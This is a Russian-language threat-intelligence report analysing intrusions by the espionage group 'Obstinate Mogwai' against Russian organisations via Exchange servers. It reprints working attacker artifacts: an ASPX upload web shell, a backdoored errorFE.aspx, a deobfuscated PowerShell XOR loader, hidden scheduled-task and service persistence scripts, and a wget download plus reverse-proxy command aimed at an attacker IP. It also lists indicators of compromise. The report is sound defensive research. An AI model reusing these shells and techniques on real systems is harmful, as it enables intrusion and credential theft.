Оглавление



Введение

Obstinate Mogwai - это высокопрофессиональная, предположительно, прогосударственная хакерская группировка из восточной Азии, которая занимается кибершпионажем. Типичный профиль целей группировки - государственные организации, ИТ-компании и их подрядчики.

В период с 2023 по начало 2024 года мы расследовали атаки Obstinate Mogwai минимум на четыре российских организации. Для проникновения в целевую сеть группа активно применяет эксплуатацию публично доступных сервисов на периметре (Exploit Public-Facing Application), доступ через подрядчика (Trusted Relationship) и легитимные аккаунты (Valid Accounts). Особый интерес у группы вызывают серверы Exchange, которые регулярно становились точкой проникновения в инфраструктуру.

В исследованных нами кейсах 2023 и 2024 годов атакующие использовали известные вредоносные инструменты KingOfHearts и TrochilusRAT, а также два новых бэкдора – Donnect и DimanoRAТ, о которых, насколько нам известно, пока не успел рассказать никто из наших коллег по индустрии.

Мы назвали группировку Obstinate Mogwai (“Упрямый демон” в переводе с англ.), поскольку, с нашей точки зрения, это имя точно описывает характер атакующих. Расследуя инциденты, мы видели, как хакеры вновь и вновь возвращались в атакованную организацию, пока мы окончательно не закрыли им все возможности для проникновения. А спустя время мы снова обнаруживали следы дополнительных попыток (на этот раз неудачных) проникнуть в инфраструктуру, которую мы защищали. Другими словами, группировка отличается настойчивостью, если не сказать упрямством.

В другом инциденте атакующие столкнулись с преградой: на компьютере, где хранилась конфиденциальная информация, действовали политики, запрещающие копировать данные. Другая группировка пошла бы исследовать другие хосты в инфраструктуре, но Obstinate Mogwai открыли сессию удаленного доступа и стали просматривать файлы в реальном времени прямо на хосте, вновь подтвердив справедливость характеристики, которую мы отразили в их названии.

В этой статье мы подробно разберем тактики, техники и процедуры Obstinate Mogwai на примере трех расследований, в которых мы принимали непосредственное участие. Поделимся профилем группировки и используемым инструментарием. Покажем различные связи Obstinate Mogwai с другими азиатскими APT-группировками, в числе которых IAmTheKing (PowerPool), последний публичный отчет о которой был опубликован в 2020 г. нашими коллегами.

Таймлайн атак Obstinate Mogwai
Таймлайн атак Obstinate Mogwai

Краткое содержание отчета:

  • Расследуя инцидент в ИТ-компании в 2023 году мы обнаружили следы деятельности группировки, которую мы назвали Obstinate Mogwai.
  • Группировка активна минимум с 2019 года и по настоящее время.
  • К моменту начала нашего расследования, группировка находилась в сети организации около двух лет и оставила множество артефактов своей деятельности, которые описаны в статье.
  • За последовавшие месяцы мы расследовали ещё два инцидента с участием Obstinate Mogwai. В обоих случаях атаку удалось остановить на ранних стадиях.
  • В одном из инцидентов, атакующие использовали экзотическую технику эксфильтрации информации: через скриншоты и\или запись экрана, чтобы не вызывать подозрений при похищении файлов напрямую
  • В ходе расследований мы обнаружили пересечения Obstinate Mogwai с другими известными азиатскими группировками: IAmTheKing, HAFNIUM (Silk Typhoon) и APT31.


Кейс 1. Возвращение джедая ситха

В 2023 году мы расследовали атаку на компанию-провайдера ИТ-услуг. Злоумышленники заразили почти всю инфраструктуру цели: контроллеры доменов, почтовые серверы и ряд других серверов (например, WSUS, системы баз данных, системы разработки, терминальные серверы), системы на периметре и системы ключевых администраторов. Инфраструктура заказчика достаточно разветвленная и имеет множество связанных подсетей других организаций (которые являются клиентами и партнерами). В связи с этим противостояние с атакующими было длительным и потребовало от нас постоянных усилий для митигации новых использованных векторов атак.

Именно в этом инциденте мы столкнулись с применением техники десериализации VIEWSTATE о которой ранее в этом году рассказывали в нашем блоге.


Первоначальное проникновение и связь с HAFNIUM

Получив от заказчика информацию для расследования, мы очень скоро выяснили, что группировка имеет доступ к сети организации уже очень давно. Атакующие обосновались в ней за два года до начала расследования.

Первые следы присутствия атакующих в инфраструктуре заказчика мы нашли на серверах Exchange (они датировались 2021 годом). Например, следы веб-шелла по пути C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\PassExpire.aspx, детектированного АВПО на системе. Антивирус обнаружил и заблокировал угрозу в феврале 2021 года, но в тот же день, уже после детектирования, ветку реестра SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest изменили: установили параметр UseLogonCredential в значение “1”. Данный параметр в таком значении позволяет системе хранить пароли в памяти в виде открытого текста. Другими словами, антивирус задетектировал только один из нескольких инструментов атакующих, но не остановил атаку.

Примечательно, что даты начала инцидента совпадают с печально известной массовой автоматизированной атакой группировки HAFNIUM на серверы Exchange по всему миру. Она производилась с помощью критической 0-day (и незакрытой на тот момент) уязвимости ProxyLogon в Microsoft Exchange.

Несмотря на то, что мы реагировали на инцидент в 2023 году (спустя два года после атаки), и все журналы ротировались, у нас есть твердое убеждение, подтверждаемое фактами, что именно эту уязвимость Obstinate Mogwai использовали в 2021 году для первоначального проникновения в сеть организации. При этом мы не считаем, что HAFNIUM и Obstinate Mogwai - это одна и та же группировка. Скорее, обе группы, имея одно и то же географическое происхождение, обменивались информацией, которую используют для атак. Обмен опытом - характерная черта многих азиатских группировок.


Развитие атаки

Через сутки после первоначального проникновения, на серверах Exchange атакующие создали файлы C:\ProgramData\7z.dll и C:\ProgramData\aas.log (переименованный исполняемый файл 7z.exe). Затем - создали каталог C:\ProgramData\cerden\, который предположительно использовался для создания и эксфильтрации архивов.

В тот же день на серверах Exchange разместили веб-шелл C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\options.aspx (MD5: 505af1d8b13ff998492021380221e4b9). Он маскировался под файл стилей css и предназначался для загрузки других файлов. Маскировку выполнили вот как: весь CSS-код описан в теге <pre> (текст, отображающийся в моноширинном шрифте), а на 971 строке размещен код веб-шелла в одну строку:

В отформатированном виде он выглядит так:

    
<%@ Page Language="C#" Debug="false"  %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
      void Page_Load(object sender, System.EventArgs e) {}
      protected void ploadc(object sender, EventArgs e){
            string filename = Path.GetFileName(upload.FileName);
            upload.SaveAs(console.Text + "\\" + filename);
      }
</script>
<HTML>
      <form id="Form1" method="post" runat="server">
            <asp:TextBox ID="console" runat="server"></asp:TextBox>
            <asp:FileUpload ID="upload" runat="server"/>
            <asp:Button runat="server" OnClick="ploadc" />
      </form>
</HTML>
    

Как веб-шелл видели атакующие (путь и имя файла мы выбрали для большей наглядности):

Элемент FileUpload позволяет атакующему выбрать файл на своей системе. После нажатия на кнопку файл загружается по пути, указанному в TextBox.

Кроме размещения обычных веб-шеллов атакующие применили интересную технику в виде создания «скрытых» задач. Под «скрытыми» мы понимаем задачи, которых нет на файловой системе и которые не отображаются в планировщике задач. Они имеются только в реестре по пути HKLM\SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}. Для того, чтобы задачи не отображались в планировщике задач, достаточно, чтобы в Windows (начиная с Windows 8) ключ Index имел значение “0x00”, либо ключ SD имел значение “null”. Задача будет работать ровно так, как запланировано, но ее не будет видно через планировщик, и у нее не будет соответствующего файла в файловой системе. Для Windows 7 и более ранних систем подобная история неприменима. Для первоначального размещения (на момент исследования задачи в виде xml файлов отсутствуют, данные получены из вышеуказанного реестра) использовались пути к задачам:

  • C:\Windows\System32\Tasks\Microsoft\Windows\Clip\Check
  • C:\Windows\System32\Tasks\Microsoft\Windows\Location\Alert

В задачах из реестра мы обнаружили не только служебные данные о задачах, но и поле Actions, в котором имелась одинаковая команда:

    
cmd /c copy C:\ProgramData\Microsoft\MF\Core.GRL "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\error.aspx" && timeout /t 9000 && del "C:\Program Files\Microsoft\Exchange Server\V15\\FrontEnd\HttpProxy\owa\auth\error.aspx"
    

Указанная команда копирует файл C:\ProgramData\Microsoft\MF\Core.GRL в C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\error.aspx и удаляет его по таймауту в 9000 секунд (2,5 часа). Задачи срабатывали каждый день в 4 утра UTC+3. То есть у атакующих было весьма ограниченное количество времени для выполнения интересующих их действий, однако таким образом они обеспечивали себе большую скрытность: к началу рабочего дня в зоне UTC+3 файла уже не было в системе. А значит, заметить признаки компрометации сложнее. Файл Core.GRL имеет ту же функциональность и программный код, что и options.aspx, описанный выше.

Продолжаем тему веб-шеллов. В апреле 2022 года в системе создана задача Tasks\Microsoft\Windows\WindowsUpdate\AUSessionagent, которая выполняет следующий код:

powershell -exec bypass -c ". c:\programdata\microsoft\scrollend.ps1;dec -key EJFELNGELKkdkflelrel2342343423LDLFLEFLEL3432423432DLFLFELELELFEL -command c:\programdata\microsoft\scrollend.log"

Файл scrollend.ps1 весит 18MB и является обфусцированным powershell-кодом. Обфускация заключается во вставках комментариев (строк в тегах <# #>), состоящих из огромного количества повторяющихся отсортированных строк с названиями функций Powershell:

image005.png

image007.png

Начало и конец блока отсортированных строк

В одном блоке 410 строк. Число повторений этих блоков в начале и в конце скрипта очень большое, а в середине – значительно меньше. Схематично это выглядит так:

Начало скрипта

Количество повторений блоков

Количество строк
в обфусцированной вставке

1 951

799 910

powershell-код

50

20 500

powershell-код

100

41 000

powershell-код

700

287 000

powershell-код

1 199

491 590

Конец скрипта

Между обфусцированными вставками присутствует вредоносный powershell-код:

image009.png

Аналогичную схему обфускации мы описывали в нашей первой статье про Obstinate Mogwai и наблюдали в инцидентах 2020-2021 годов, про которые рассказывали в 2021 году в докладе “Operation LongChain. История одного расследования”.

Деобфусцированный скрипт scrollend.ps1 выглядит следующим образом:

        
function dec
{
	param(
	  [parameter(mandatory = $true)]
	  [string]$key,
	  [parameter(mandatory = $true)]
	  [string]$command
)
$cyphertexts = gc $command

foreach($cyphertext in $cyphertexts)
	{
	    $keyArray =[System.Text.Encoding]::ASCII.GetBytes($key)
	    $encodedArray= [System.Text.Encoding]::ASCII.GetBytes([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($cyphertext)))
	    $plainText = ""
	    $keyposition = 0
	    $encodedArray | foreach-object -process {
	    $plainText += [char]($_ -bxor $KeyArray[$keyposition % $KeyArray.Length])
	    $keyposition += 1
	    }
		$plainText = $plainText -replace 'a!a!','';
		Invoke-Expression $plainText
	}
}
        
    

Этот скрипт расшифровывает с помощью xor и заданного ключа powershell-скрипт из файла scrollend.log и выполняет его.

Расшифрованный powershell-скрипт из scrollend.log:

    
$file1 = 'planc_settings.aspx'
$file2 = 'settings.png'
$num = gci "c:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\" |
    Where-Object { $_.Attributes -eq 'Directory' } |
    Where-Object { $_.Name -match '15*' } |
    ForEach-Object { $_.Name }

$pth_sh = "c:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\$num\themes\resources"
$pth_bk = "C:\ProgramData\Microsoft\RAC"
$time = Get-Date
$log = 'count.htm'
$log2 = 'over.mds'

function bk {
    if (!(Test-Path $pth_bk\$log2)) {
        Copy-Item $pth_bk\$file2 $pth_sh\$file1 -Force
        Start-Sleep -Seconds 15
        
        if (!(Test-Path $pth_sh\$file1)) {
            Add-Content -Path $pth_bk\$log2 -Value 'file over'
            Add-Content -Path $pth_bk\$log -Value $time
            Copy-Item -Path $pth_bk\$log -Destination $pth_sh -Force
        }
    } else {
        Add-Content -Path $pth_bk\$log -Value $time
        Copy-Item -Path $pth_bk\$log -Destination $pth_sh -Force
    }

    Start-Sleep -Seconds 14400
    Remove-Item -Path $pth_sh\$file1 -Force
    Remove-Item -Path $pth_sh\$log -Force
}

function main {
    bk
}

main
    
   

Основное назначение кода – копирование файла C:\ProgramData\Microsoft\RAC\settings.png в расположение С:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\$num\themes\resources\planc_settings.aspx, где $num – версия Exchange.

Файл planc_settings.aspx является практически полной копией старого легитимного файла C:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\errorFE.aspx (MD5: 4aa571196877ceb6acd4202107b5ea75):

Сравнение легитимного errorFE.aspx (слева) и вредоносного errorFE.aspx (справа)
Сравнение легитимного errorFE.aspx (слева)
и вредоносного errorFE.aspx (справа)

Во вредоносный errorFE.aspx добавили три вредоносные строки, которые позволяют загружать указанный файл по указанному пути:

<% int ShouldSendOWAPlt1RequestCount=Request.Files.Count; %>
<% if (ShouldSendOWAPlt1RequestCount >0) %>
<% {Request.Files[0].SaveAs(Request.Form["ThemeFiles"] ); }%>

Также в легитимном файле errorFE.aspx из Exchange 2019 CU11 имеются строчки:

    
<% if (ShouldSendOWAPlt1Request) {%>
function sendPlt1Request() {
    var qp = "<%=GetPlt1QueryString%>";
    var request = new XMLHttpRequest();
    request.open("POST", "/owa/plt1.ashx" + qp, true);
    request.setRequestHeader("X-OWA-PLT-Info","<%=GetXOWAPLTInfoHeaderValue%>")
    request.send("<%=GetPlt1RequestBody%>");
}
            
// Iframes and plugins rendering the error page are not considered as boot failure
if (!isInIframe) {
    sendPlt1Request();
}            
    

Строку ShouldSendOWAPlt1Request злоумышленники использовали в своих вредоносных строчках. Несмотря на то, что в оригинальном errorFE.aspx файле, который забэкдорили, нет упоминаний этой строчки, Obstinate Mogwai использовали ее, скорее всего, для маскировки вредоносных строк под легитимные. Нечто подобное злоумышленники делали при выборе названий для параметров POST-запросов в .NET сборках, про которые мы писали в предыдущей статье о данной группировке. Это характерная для Obstinate Mogwai тактика - группировка предпочитает прятать вредоносные инструменты в легитимном коде. Подобный подход к созданию веб-шеллов сделан для затруднения детектирования и обнаружения.

После задержки в 14400 секунд (4 часа) веб-шелл удаляется. И указанная задача, и та, что описана ниже, запускались каждый день в 4 утра UTC+3 - снова уже знакомая тактика сокрытия следов вредоносной активности от возможных наблюдателей.

Также на другом хосте мы наблюдали использование похожего на scrollend.ps1 скрипта. Он располагался по другому пути и имел другое имя – c:\programdata\microsoft\wdf\Speech.ps1. Для его запуска использовалась команда:

    
powershell.exe -exec bypass -c ". c:\programdata\microsoft\wdf\Speech.ps1;tip 5oR95oiG976836R15e407z3712299z14IP0051b760I02y812T1o1M3c461ZQe64 -command c:\programdata\microsoft\wdf\Speech.log"
    

Расшифрованная нагрузка была аналогична вышеописанной. Отличия были только в значениях переменных $file1, $file2 и $pth_bk:

    
$file1='lgnexlogo.aspx' # имя веб-шелла в каталоге owa/auth/…
$file2='errorFE.png' # резервная копия веб-шелла
$pth_bk="C:\ProgramData\Microsoft\WDF" # путь для хранения резервной копии
    

Скрипт c:\programdata\microsoft\wdf\Speech.ps1 запускался задачей Tasks\Microsoft\Windows\Diagnosis\Schduled (орфография атакующих сохранена), после чего декодировал полезную нагрузку из файла c:\programdata\microsoft\wdf\Speech.log и копировал файл с веб-шеллом из C:\ProgramData\Microsoft\WDF\errorFE.png в файл c:\Program Files\Microsoft\Exchange Server\v15\FrontEnd\HttpProxy\owa\auth\$num\themes\resources\lgnexlogo.aspx.

Далее, не позднее августа 2022 года, на серверах Exchange была создана задача C:\Windows\System32\Tasks\ADOBEYY (сама она удалена), которая, предположительно, осуществляла дамп процесса lsass. В тот же день на системе обнаружили файл C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\Exfrontess.png. В указанном файле находился опять же переименованный файл архива 7-zip с установленным паролем JVJDKSJSF123. А в архиве - файл Rt.bin, который являлся дампом процесса lsass. Мы обнаружили, что из этого дампа атакующие получили учетные данные более 100 доменных и локальных пользователей. Таким образом, с высокой степенью уверенности можно утверждать, что для эксфильтрации использовалась функциональность самого Exchange.

Позже в октябре этого же года Obstinate Mogwai создали файл веб-шелла C:\inetpub\wwwroot\aspnet_client\system_web\iis_error.aspx (аналогичен веб-шеллу big-shell). В нем имеются следующие переменные для доступа:

private const string password = "con#1234"; // The password ( pass )
private const string style = "dark"; // The style ( light / dark )

Он продолжал использоваться и в 2023 году. Вот примеры обращений к веб-шеллу из журналов 2023 года, в которых явно видны просматриваемые каталоги:

2023-05-04 00:00:27 [redacted-local-IP] GET /aspnet_client/system_web/iis_error.aspx act=fuploader 443 - 139.84.139.176 Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64;+rv:109.0)+Gecko/20100101+Firefox/115.0 https://owa.[redacted]/aspnet_client/system_web/iis_error.aspx?act=fbrowser&dir=C%3a%5c 200 0 0 301

2023-05-21 03:18:21 [redacted-local-IP] GET /aspnet_client/system_web/iis_error.aspx act=fbrowser&dir=C%3a%5cUsers%5cPublic%5cPictures%5c 443 - 192.121.47.214 Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64;+rv:109.0)+Gecko/20100101+Firefox/115.0 https://owa.[redacted]/aspnet_client/system_web/iis_error.aspx?act=fbrowser&dir=C%3a%5cUsers%5cPublic%5c 200 0 0 1055

Также в файле истории одного из администраторов системы сохранились неудаленные атакующим команды. Интересующие представлены ниже:

    
Compress-Archive -Path C:\Users\[redacted]\AppData\Local\Temp\*.dmp -DestinationPath c:\programdata\20220303-20220303.zip -Force;
copy c:\programdata\20220303-20220303.zip "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\20220303-20220303.png"
net group "domain admins" /domain
net user [redacted] /domain
copy c:\programdata\20220303-20220303.zip "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\20220303-20220303.png"
dir c:\programdata\
del C:\Users\[redacted]\AppData\Local\Temp\lsass.dmp
dir C:\Users\[redacted]\AppData\Local\Temp\
del C:\Users\[redacted]\AppData\Local\Temp\lsass*.dmp
del "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\20220303-20220303.png"
dir "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\"
cd c:\programdata\
dir
dir SoftwareDistribution
dir Microsoft
dir Microsoft\rac
dir Microsoft\wdf
copy 20220303-20220303.zip c:\programdata\Microsoft\wdf\
dir c:\programdata\Microsoft\wdf\
del 20220303-20220303.zip
dir
del svcsvb.exe
dir 
dir C:\Users\[redacted]\AppData\Local\Temp\
cls
logoff
    

Упомянутый svcsvb.exe являлся утилитой NBTScan (MD5 f01a9a2d1e31332ed36c1a4d2839f412), переименованный исполняемый файл nbtscan-1.0.35.exe. Для сканирования с Exchange также использовалась утилита NBTScan из расположений C:\Users\ Administrator\Documents\gitlab.exe, C:\Users\Administrator\gitlab.exe.

В ноябре 2022 года видны следы атаки на систему, в которой используется ОС семейства Unix (единственная значимая атакованная система среди ОС семейства Unix). В процессе атаки использовалась утилита Venom proxy, которая располагалась по путям /tmp/apache_x64 и /tmp/tar, а хэши файлов соответствовали файлам версии 1.1.0 из 7z-архива проекта на Github. В неразмеченном пространстве мы обнаружили команды для загрузки (их использовали уже в январе 2023) указанной программы:

    
ls /tmp
php_upload
./apache_x64
wget -O /tmp/apache_x64  http://85.159.208.143/apache_x64
chmod 777 ./apache_x64
--2023-01-04 20:42:20--  http://85.159.208.143/apache_x64
Connecting to 85.159.208.143:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3882688 (3.7M) [application/octet-stream]
Saving to: '/tmp/apache_x64'
0% [                                       ] 0           --.-K/s
11% [===>                                   ] 454,512     1.93MB/s
100%[======================================>] 3,882,688   10.2MB/s   in 0.4s
2023-01-04 20:42:21 (10.2 MB/s) - '/tmp/apache_x64' saved [3882688/3882688]
Venom version: 1.1
$ ./venom_agent -lport [port]
$ ./venom_agent -rhost [ip]   -rport      [port]
$ ./venom_agent -lhost [ip]   -reuse-port [port]
$ ./venom_agent -lport [port] -reuse-port [port]
Options:
-lhost ip
Local ip address.
-lport port
Listen a local port.
-passwd password
The password used in encrypted communication. (optional)
-reuse-port port
The port to be reused.
-rhost ip
Remote ip address.
-rport port
The port on remote host.
    

Для выполнения команд использовалась оболочка sh:

    
sh-4.2# %
ps -la
nohup /tmp/tar  -rhost 85.159.208.143 -rport  80  -passwd admin@123
<ost 85.159.208.143  -rport  80 -passwd admin@123 &
[1] 7668
F S   UID    PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY         TIME CMD
0 S     0 7668 7528 96 80 0 - 26857 futex_ pts/41 00:25:41 tar
4 R     0 8407 7528 0 80 0 - 13722 -      pts/41 00:00:00 ps
kill 7668
        

С 2022 года вплоть до середины 2023 года основным средством Obstinate Mogwai для удаленного администрирования систем на ОС Windows являлся TrochilusRAT, для запуска которого использовалась хорошо известная техника DLL side-loading. Чаще всего для закрепления TrochilusRAT злоумышленники использовали схему, которая включает создание службы, например, Microsoft Resource (команда для запуска "C:\ProgramData\MicrosoftResource\TextInputHost.exe" dhyb) и размещение в каталоге C:\ProgramData\MicrosoftResource\ различных файлов, например:

Путь

MD5

Описание

C:\ProgramData\MicrosoftResource\TextInputHost.exe

325b897cde70ce7c42f0a8c6e135b6c2

ПО Bandizip Command line tool

Оригинальное название: Bandizip.exe

C:\ProgramData\MicrosoftResource\ark.x86.dll

0a8ae8de9650a695eeb27a783fc299f3

TrochilusRAT, запускает вредоносный код из dat-файлов

C:\ProgramData\MicrosoftResource\sc.cfg

97f37f99edf74805812d5d251dc59e46

Файл конфигураций TrochilusRAT

С2:
cariolis.com

C:\ProgramData\MicrosoftResource\TextInputHost.dat

078d72a61fe3de477669fcf07ef66fb3

Полезная нагрузка TrochilusRAT

C:\ProgramData\MicrosoftResource\ser.dat

25c047f53e1b6b88d376e90a3d987050

Полезная нагрузка TrochilusRAT

C:\ProgramData\MicrosoftResource\rcdll.dat

4ece4abc0ab1b8b1147095f159b77a89

Полезная нагрузка TrochilusRAT

Начиная с 2022 года Obstinate Mogwai эпизодически использовали новое ВПО, которое мы назвали Donnect и DimanoRAT. Во второй половине 2023 года они начинали активно использовать их в своих операциях.

DimanoRAT позволяет злоумышленникам выполнять различные команды на хосте жертвы. Например: создание интерактивного шелла, менеджмент файлов и процессов, сбор информации о зараженной системе с помощью WQL-запросов, а также обновление своей конфигурации.

Donnect - это бэкдор, позволяющий атакующим загружать с С2 и выполнять в памяти дополнительные вредоносные импланты. Более подробное описание Donnect и DimanoRAT приведем в отдельной публикации.

Оба ВПО закрепляются как сервис. Закрепление осуществляется с использованием командного файла C:\PerfLogs\helpsvc.bat (MD5: 518ae23346d7bf3bd38dd30385fa99fa). Данные файла helpsvc.bat:

    
@echo off
sc stop helpsvc
sc delete helpsvc
sc create helpsvc binpath= "C:\Windows\System32\svchost.exe -k netsvcs" type= share start= auto displayname= "help service"
sc description helpsvc "Retrieves the serial number of any portable music player connected to your computer."
sc failure helpsvc reset= 0 actions= restart/0
reg add HKLM\SYSTEM\CurrentControlSet\Services\helpsvc\Parameters /v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\System32\helpsvc.dll
reg add HKLM\SYSTEM\CurrentControlSet\Services\helpsvc\Parameters /v ServiceMain /t REG_SZ /d ServiceMain
reg add HKLM\SYSTEM\CurrentControlSet\Services\helpsvc\Parameters /v ServiceDllUnloadOnStop /t REG_DWORD /d 1
    

C:\Windows\System32\helpsvc.dll (MD5: c12f657efa3fa47e43e2b313a4e28d27), размещенный в апреле 2022 года, является экземпляром ВПО Donnect (C2: 27.102.115[.]153:443)

Далее в 2023 году атакующие начали использовать программу CMPSpy класса стиллер, которая перехватывает и записывает в лог C:\Windows\Temp\c.ini аутентификационные данные в открытом виде. Указанная программа размещалась на ключевых системах заказчика, таких как контроллер домена и почтовый сервер.

Закрепление программы осуществлялось в результате запуска powershell скрипта, такого как C:\Windows\Temp\ConfigureRegistrySettings.ps1 (полностью совпадает с https://github.com/fengwenhua/CMPSpy/blob/main/ConfigureRegistrySettings.ps1 из того же проекта).

Obstinate Mogwai использовали интересный метод закрепления скрипта: они не только создавали сервис CMPSPY, который непосредственно запускает библиотеку C:\Windows\System32\CMPSpy.dll, но и добавляли запись CMPSpy в ветки реестра:

  • HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
  • HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\HwOrder

Скрипт выше добавляет строку «,CMPSpy» в конец значения PROVIDERORDER, поэтому если запускать скрипт многократно, то строка CMPSpy будет дублироваться. Пример с одной из систем «[легитимные значения],CMPSpy,CMPSpy,CMPSpy,CMPSpy».

Новый NetworkProvider в виде модуля CMPSpy вмешивался в процесс аутентификации и получал данные из некоторых сетевых протоколов. В процессе входа Winlogon (модуль интерактивного входа) отправляет аутентификационные данные в локальный процесс mpnotify.exe через вызовы RPC. А процесс mpnotify.exe, в свою очередь, отправляет аутентификационные данные в открытом виде в зарегистрированные модули – тот самый модуль CMPspy.


Попытки возвращения в инфраструктуру

В начале сентября 2023 проведено реагирование. Однако полностью пресечь атаку не удалось, так как остались скомпрометированные подсети, системы и подрядчики, отключение которых могло бы нарушить бизнес-процессы. С использованием этих ранее скомпрометированных систем злоумышленники продолжали атаки, причем основной их целью было восстановление контроля над почтовыми серверами, через которые было удобно развивать атаки. Чего только они не пробовали, чтобы восстановить доступ.

1. Атака на Exchange с целью размещения нового веб-шелла, DimanoRAT, Donnect и иных образцов ВПО.

В процессе реагирования с одного из серверов Exchange не был удален один из обнаруженных веб-шеллов, который использовался для продолжения атаки и размещения нового веб-шелла. Для начала приведем примеры команд, выполненных Obstinate Mogwai на почтовом сервере через оболочку Powershell с помощью нового веб-шелла:

Дата и время (UTC+3)

Команда

Комментарий

Day1 04:31:16

net user [redacted] /domain

Получение информации о пользователях домена

Day1 04:33:12

net user [redacted1] /domain


Day1 04:37:10

net user [redacted2] /domain


Day1 04:39:21

net user [redacted3] /domain


Day1 04:40:51

net user [redacted4] /domain


Day1 05:47:30

gci c:\windows\help

Просмотр содержимого директории

Day1 05:49:20

schtasks /create /tn resources /tr 'c:\programdata\help\kvs.exe' /sc onstart /ru system /f

Создание задачи resources для запуска файла kvs.exe

Day1 05:50:52

schtasks /run /tn resources

Запуск задачи resources

Day1 05:50.53

get-process

Просмотр списка процессов

Day1 05:51:52

dir 'c:\Program Files (x86)\Kaspersky Lab\'

Просмотр директории

Day1 05:54:11

schtasks /create /tn resources /tr 'c:\windows\help\kvs.exe' /sc onstart /ru system /f

Создание задачи resources для запуска файла kvs.exe

Day1 05:55:34

schtasks /run /tn resources

Запуск задачи resources

Day1 05:58:50

Remove-Item c:\windows\help\kvs*

Очистка директории от файлов, начинающихся с kvs

Day2 04:42:11

gci c:\programdata\

Просмотр директории

Day2 05:32:11

c:\'program files'\7-zip\7z.exe e c:\programdata\Cursors.zip -p4Bo5#!9G55R90 -oc:\programdata\ -y

Распаковка архива Cursors.zip с паролем 4Bo5#!9G55R90 (ошибка в команде)

Day2 05:35:06

c:\programdata\7z.exe e c:\programdata\Cursors.zip -p4Bo5#!9G55R90 -oc:\programdata\ -y

Повторная распаковка

Day2 05:37:01

schtasks /create /tn resources /tr 'c:\programdata\Cursors.exe' /sc onstart /ru system /f

Создание задачи resources для запуска файла Cursors.exe

Day2 05:37:40

schtasks /run /tn resources

Запуск задачи resources

Day2 05:40:35

Remove-Item c:\programdata\result.txt

Очистка директорий

Day2 05:41:20

Remove-Item c:\programdata\Cursors*


Day2 05:43:44

Remove-Item c:\programdata\7z*


Day2 05:43:23

Remove-Item c:\programdata\out.log


Day2 05:52:12

tasklist /v


Day2 06:20:24

Remove-Item c:\programdata\7z.dll


Day2 06:21:22

Remove-Item c:\programdata\7z.dll


Из команд явно видно, что заражение происходило в результате ручной работы оператора. Причем заметно, что атакующие стараются удалять за собой использованные инструменты, чтобы не оставлять дополнительной информации для исследователей.

Веб-шелл AntSpy

Во время атаки на этот Exchange атакующие разместили любопытный веб-шелл по пути C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\<num>\themes\resources\errorFE.aspx (MD5: 0312f474debf9cef2843fa67b56f2c3d). Мы назвали его AntSpy, потому что его код основан на двух старых веб-шеллах: Antak и ASPXSpy.

Obstinate Mogwai применили l33t-обфускацию и реализовали многоуровневый доступ к веб-шеллу: чтобы получить доступ к панели выполнения команд оператору необходимо было пройти три уровня доступа. Более подробно про AntSpy и его особенности мы расскажем в отдельной публикации.

2. DCSYNC от старого legacy-домена, DimanoRAT и якобы легитимный C2

Мы обнаружили DCSYNC на домен заказчика со старого легаси домена, с которым была сетевая связность и односторонние трасты. Напомним, что DCSync - это атака, использующая легитимный механизм репликации данных между контроллерами доменов (или системой выдающей себя за таковой). Получение таких данных может вести к полной компрометации целевого домена, поэтому к данному событию необходимо отнестись со всей серьезностью. В описываемом случае DCSYNC шла со старого легаси-домена. Заказчик подтвердил, что такого быть не должно, и мы запустили расследование для установления причин.

На источнике атаки обнаружили старую как мир технику. В файле C:\Windows\System32\mprdimsys.dl (MD5: 842ebb16b5a0a7a55f35cd53fbc53e3b) мы обнаружили бэкдор, закрепленный с использованием службы “RemoteAccess”. В качестве C2 для подключения был указан “m.yandex.ru”. Это адрес легитимного ресурса. Мы задались вопросом: неужели это повторение истории с бэкдорами Mail-O, Webdav-O из 2021 года? Mail-O и Webdav-O из нашего совместного публичного отчета с НКЦКИ - уникальные образцы которые представляют возможность выполнения команд через облачные сервисы Mail.ru и Яндекс.Диск. Также они имеют функциональные возможности для загрузки данных на указанные атакующими сервисы. Почему мы сразу вспомнили про эти образцы? Потому что в качестве C2 использовался сервис компании Яндекс. Но все оказалось гораздо проще. Позже выяснилось, что бэкдором оказался DimanoRAT, а атакующие изменили содержание hosts и добавили туда строку:

185.4.66.116 m.yandex.ru

Интересная попытка сбить с толку исследователей, и возможно, уйти от обнаружения.

3. WinRM и .NET версия бэкдора KingOfHearts

Во время очередной атаки на Exchange наблюдали в журналах подобные строки запросов:

2023-11-14 02:19:12 [servername-redacted] 10.173.3.12 POST /wsman 443 - 45.12.67.18 HTTP/1.1 Ruby+WinRM+Client+(2.8.3,+ruby+2.7.2+(2020-10-01)) - owa.[redacted] 404

